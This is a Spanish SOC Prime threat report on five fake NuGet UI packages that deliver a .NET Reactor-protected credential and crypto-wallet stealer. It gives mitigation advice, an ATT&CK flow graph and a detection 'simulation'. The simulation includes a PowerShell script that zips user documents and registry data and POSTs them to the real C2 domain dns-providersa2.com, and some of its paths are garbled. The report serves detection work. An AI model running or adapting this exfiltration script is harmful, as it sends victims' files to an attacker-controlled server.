SOC Prime Bias: Crítico

12 May 2026 18:21

Cinco Packages Falsos de NuGet UI Entregan Robadores de Criptomonedas y Credenciales

Author Photo
Ruslan Mikhalov Jefe de Investigación de Amenazas en SOC Prime linkedin icon Seguir
Cinco Packages Falsos de NuGet UI Entregan Robadores de Criptomonedas y Credenciales
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

Cinco paquetes NuGet publicados bajo la cuenta bmrxntfj suplantan librerías chinas .NET UI bien conocidas y embeben un infostealer protegido con .NET Reactor. La carga maliciosa se activa tan pronto como se carga el DLL, secuestra el compilador JIT y roba credenciales de navegador, datos de billeteras de criptomonedas, claves SSH y archivos locales antes de exfiltrarlos a un dominio de comando y control recién registrado. Los frecuentes cambios de versión y las listas de paquetes ocultas ayudan a la operación a evadir detecciones simples basadas en hash, creando riesgos tanto para estaciones de trabajo de desarrolladores como para entornos CI/CD.

Investigación

Los investigadores desempaquetaron el malware protegido con .NET Reactor e identificaron un ensamblado .NET de segunda etapa llamado we4ftg.exe, y recuperaron cadenas de configuración de la memoria. Su análisis mostró qué navegadores y extensiones de billetera fueron atacados, documentó un esquema de cabeceras HTTP personalizado e identificó una ubicación de puesta en escena bajo el directorio de OneDrive. La investigación también desenterró detalles de la infraestructura, incluyendo el dominio de comando y control, su dirección IP y un servidor Git privado relacionado.

Mitigación

Los defensores deberían bloquear la resolución DNS y el tráfico saliente al dominio e IP de comando y control identificados, monitorear la creación del archivo keys.dat dentro de la carpeta de OneDrive, y alertar sobre la cabecera HTTP personalizada X-xxx . Cualquier paquete IR.* debería ser removido de los árboles de dependencias y reemplazado por librerías legítimas verificadas. Todas las credenciales, tokens y secretos potencialmente expuestos deberían rotarse inmediatamente.

Respuesta

Cualquier sistema que haya restaurado o cargado uno de los paquetes maliciosos IR.* debería tratarse como comprometido, ser aislado y sometido a una rotación completa de credenciales. El contenido de detección debería actualizarse con los indicadores publicados, y los equipos deberían coordinarse con los administradores de NuGet Gallery para asegurar que los paquetes maliciosos sean removidos y la cuenta del publicador sea suspendida.

"graph TB %% Class definitions classDef technique fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff classDef data fill:#ccffcc classDef operator fill:#ff9900 %% Nodes – Techniques tech_supply_chain["<b>Técnica</b> – <b>T1195.002 Compromiso de Cadena de Suministro</b><br/><b>Descripción</b>: Compromiso de una cadena de suministro de software para inyectar código malicioso en paquetes legítimos."] class tech_supply_chain technique tech_appdomain_hijack["<b>Técnica</b> – <b>T1574.014 Secuestro de Flujo de Ejecución: Administrador de AppDomain de .NET</b><br/><b>Descripción</b>: Los adversarios secuestran el AppDomainManager de .NET para ejecutar código antes de que la aplicación prevista comience."] class tech_appdomain_hijack technique tech_obfuscation["<b>Técnica</b> – <b>T1027 Archivos o Información Ofuscados</b><br/><b>Descripción</b>: Uso de empaquetado, cifrado u otros métodos para ocultar código o datos maliciosos."] class tech_obfuscation technique tech_trusted_dev_proxy["<b>Técnica</b> – <b>T1127 Ejecución de Proxy de Utilidades de Desarrollador Confiable</b><br/><b>Descripción</b>: Abuso de utilidades legítimas de desarrollador o gestores de paquetes para correr código malicioso."] class tech_trusted_dev_proxy technique tech_software_ext["<b>Técnica</b> – <b>T1176 Extensiones de Software</b><br/><b>Descripción</b>: Aprovechamiento de extensiones de software o complementos para ganar ejecución."] class tech_software_ext technique tech_process_discovery["<b>Técnica</b> – <b>T1057 Descubrimiento de Procesos</b><br/><b>Descripción</b>: Enumeración de procesos en ejecución en el sistema de la víctima."] class tech_process_discovery technique tech_file_dir_discovery["<b>Técnica</b> – <b>T1083 Descubrimiento de Archivos y Directorios</b><br/><b>Descripción</b>: Listar archivos y directorios para localizar datos valiosos."] class tech_file_dir_discovery technique tech_browser_info["<b>Técnica</b> – <b>T1217 Descubrimiento de Información del Navegador</b><br/><b>Descripción</b>: Recolectar información sobre navegadores instalados y extensiones."] class tech_browser_info technique tech_browser_credentials["<b>Técnica</b> – <b>T1555.003 Credenciales de Navegadores Web</b><br/><b>Descripción</b>: Extraer contraseñas guardadas, cookies y otro material de credenciales de los navegadores."] class tech_browser_credentials technique tech_private_keys["<b>Técnica</b> – <b>T1552.004 Credenciales Inseguras: Claves Privadas</b><br/><b>Descripción</b>: Localizar y exfiltrar claves privadas SSH y otras claves criptográficas."] class tech_private_keys technique tech_credentials_files["<b>Técnica</b> – <b>T1552.001 Credenciales en Archivos</b><br/><b>Descripción</b>: Buscar material de credenciales almacenado en archivos de configuración o datos."] class tech_credentials_files technique tech_data_staged_local["<b>Técnica</b> – <b>T1074.001 Datos Acumulados: Local</b><br/><b>Descripción</b>: Los datos recolectados se agregan en el host local antes de la exfiltración."] class tech_data_staged_local technique tech_data_staged_remote["<b>Técnica</b> – <b>T1074.002 Datos Acumulados: Remoto</b><br/><b>Descripción</b>: Los datos se acumulan en una ubicación remota, como almacenamiento en la nube."] class tech_data_staged_remote technique tech_process_injection["<b>Técnica</b> – <b>T1055.001 Inyección de Proceso: Inyección de Librería de Enlace Dinámico</b><br/><b>Descripción</b>: Inyectar DLLs maliciosos en procesos legítimos para una ejecución discreta."] class tech_process_injection technique tech_sandbox_evasion["<b>Técnica</b> – <b>T1497.002 Evasión de Virtualización/Sandbox: Chequeos Basados en Actividad del Usuario</b><br/><b>Descripción</b>: Detectar entornos sandbox comprobando nombres de usuario o de equipo conocidos."] class tech_sandbox_evasion technique tech_c2_web["<b>Técnica</b> – <b>T1071.001 Protocolo de Capa de Aplicación: Protocolos Web</b><br/><b>Descripción</b>: Usar HTTP/S para comunicarse con servidores de comando y control."] class tech_c2_web technique tech_junk_data["<b>Técnica</b> – <b>T1001.001 Ofuscación de Datos: Datos Basura</b><br/><b>Descripción</b>: Añadir ruido aleatorio a cargas de red para dificultar la detección."] class tech_junk_data technique %% Nodes – Tools and Malware tool_nuget_pkg["<b>Herramienta</b> – <b>Nombre</b>: Paquete NuGet Malicioso IR.*<br/><b>Descripción</b>: Paquetes publicados en NuGet que imitan librerías chinas .NET legítimas y son cargados durante la restauración."] class tool_nuget_pkg tool tool_dotnet_reactor["<b>Herramienta</b> – <b>Nombre</b>: .NET Reactor (Necrobit)<br/><b>Descripción</b>: Empaqueta y cifra ensamblados .NET, añade firmas anti-manipulación RSA-1024."] class tool_dotnet_reactor tool malware_payload["<b>Malware</b> – <b>Nombre</b>: Carga Útil de .NET Reactor<br/><b>Descripción</b>: Ensamblado .NET cifrado cargado por el inicializador de AppDomainManager."] class malware_payload malware tool_sharpinjector["<b>Herramienta</b> – <b>Nombre</b>: SharpInjector<br/><b>Descripción</b>: Inyector .NET que realiza inyección de DLL en procesos de larga vida como explorer.exe."] class tool_sharpinjector tool process_explorer["<b>Proceso</b> – <b>Nombre</b>: explorer.exe"] class process_explorer process process_dllhost["<b>Proceso</b> – <b>Nombre</b>: dllhost.exe"] class process_dllhost process data_staged_file["<b>Datos</b> – <b>Ruta</b>: C:ProgramDataMicrosoft OneDrivekeys.dat"] class data_staged_file data %% Flow Connections tech_supply_chain –>|entrega| tool_nuget_pkg tool_nuget_pkg –>|activa| tech_appdomain_hijack tech_appdomain_hijack –>|carga| malware_payload malware_payload –>|empaquetado por| tool_dotnet_reactor tool_dotnet_reactor –>|habilita| tech_obfuscation tech_obfuscation –>|facilita| tech_trusted_dev_proxy tech_trusted_dev_proxy –>|usa| tech_software_ext tech_software_ext –>|habilita| tech_process_discovery tech_process_discovery –>|lleva a| tech_file_dir_discovery tech_file_dir_discovery –>|lleva a| tech_browser_info tech_browser_info –>|habilita| tech_browser_credentials tech_browser_credentials –>|recoge| tech_private_keys tech_private_keys –>|recoge| tech_credentials_files tech_credentials_files –>|etapas| tech_data_staged_local tech_data_staged_local –>|escribe en| data_staged_file data_staged_file –>|sincroniza con| tech_data_staged_remote tech_data_staged_remote –>|usa| tool_sharpinjector tool_sharpinjector –>|inyecta en| process_explorer tool_sharpinjector –>|inyecta en| process_dllhost process_explorer –>|sopporta| tech_process_injection process_dllhost –>|sopporta| tech_process_injection tech_process_injection –>|comprueba| tech_sandbox_evasion tech_sandbox_evasion –>|permite| tech_c2_web tech_c2_web –>|transmite con| tech_junk_data %% Class Assignments class tech_supply_chain,tech_appdomain_hijack,tech_obfuscation,tech_trusted_dev_proxy,tech_software_ext,tech_process_discovery,tech_file_dir_discovery,tech_browser_info,tech_browser_credentials,tech_private_keys,tech_credentials_files,tech_data_staged_local,tech_data_staged_remote,tech_process_injection,tech_sandbox_evasion,tech_c2_web,tech_junk_data technique class tool_nuget_pkg,tool_dotnet_reactor,tool_sharpinjector tool class malware_payload malware class process_explorer,process_dllhost process class data_staged_file data "

Flujo de Ataque

Ejecución de Simulación

Requisito Previo: La Verificación Pre-vuelo de Telemetría y Línea Base debe haber pasado.

Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narración DEBEN reflejar directamente los TTPs identificados y tienen como objetivo generar la telemetría exacta esperada por la lógica de detección. Los ejemplos abstractos o no relacionados conducirán a un diagnóstico erróneo.

  • Narrativa del Ataque y Comandos:
    Un adversario ha comprometido un paquete NuGet legítimo que, cuando se importa a una aplicación .NET de la víctima, inicia una carga útil de PowerShell. La carga útil realiza los siguientes pasos:

    1. Descubrimiento (T1082, T1083): Reunir información de versión del SO y enumerar documentos de usuario.
    2. Recolección de Credenciales (T1552.001): Leer credenciales almacenadas del registro.
    3. Archivado (T1560): Comprimir los archivos recolectados en un archivo ZIP.
    4. Ofuscar Cabecera (T1027): Agregar una cabecera HTTP personalizada X-Auth-Token: <cadena-aleatoria> para disfrazar el tráfico de exfiltración.
    5. Exfiltración C2 (T1071.001, T1005, T1195.002): Hacer POST del archivo al servidor malicioso C2 en dns-providersa2.com (o su IP codificada 62.84.102.85).

    El uso de la X- cabecera satisface directamente la regla Sigma http.request.header|contains: "X-" cláusula, mientras que el destino coincide con el IoC estático.

  • Script de Prueba de Regresión:

    # -----------------------------------------------------------------
    # Prueba de Regresión – Activar regla Sigma "Comunicación Maliciosa C2"
    # -----------------------------------------------------------------
    # 1. Recoger información del sistema (T1082)
    $sysInfo = Get-ComputerInfo | Select-Object OSName, OSVersion, WindowsDirectory
    
    # 2. Enumerar documentos de usuario (T1083)
    $docs = Get-ChildItem "$env:USERPROFILEDocuments" -Recurse -File -ErrorAction SilentlyContinue
    
    # 3. Leer un ejemplo de credencial del registro (T1552.001)
    $credPath = "HKCU:SoftwareMicrosoftWindowsCurrentVersionExplorerRunMRU"
    $storedCred = (Get-ItemProperty -Path $credPath).MRUList | Out-String
    
    # 4. Empaquetar datos (T1560)
    $tempZip = "$env:TEMPexfil_$(Get-Random).zip"
    $items = @($sysInfo, $docs, $storedCred)
    Compress-Archive -Path $items -DestinationPath $tempZip -Force
    
    # 5. Preparar cabecera HTTP personalizada (ofuscación – T1027)
    $authToken = "X-Auth-Token: $([guid]::NewGuid().ToString())"
    
    # 6. Exfiltrar vía HTTP POST al C2 malicioso (T1071.001)
    $c2 = "http://dns-providersa2.com/upload"
    Invoke-WebRequest -Uri $c2 `
                      -Method Post `
                      -InFile $tempZip `
                      -ContentType "application/octet-stream" `
                      -Headers @{'X-Auth-Token' = $authToken}
    
    # 7. Limpiar artefacto local
    Remove-Item $tempZip -Force
  • Comandos de Limpieza:

    # Remover cualquier archivo temporal que pueda quedar del test
    Get-ChildItem "$env:TEMPexfil_*.zip" -ErrorAction SilentlyContinue | Remove-Item -Force
    
    # Restablecer tamaño de registro del firewall (opcional)
    netsh advfirewall set allprofiles logging maxfilesize 4096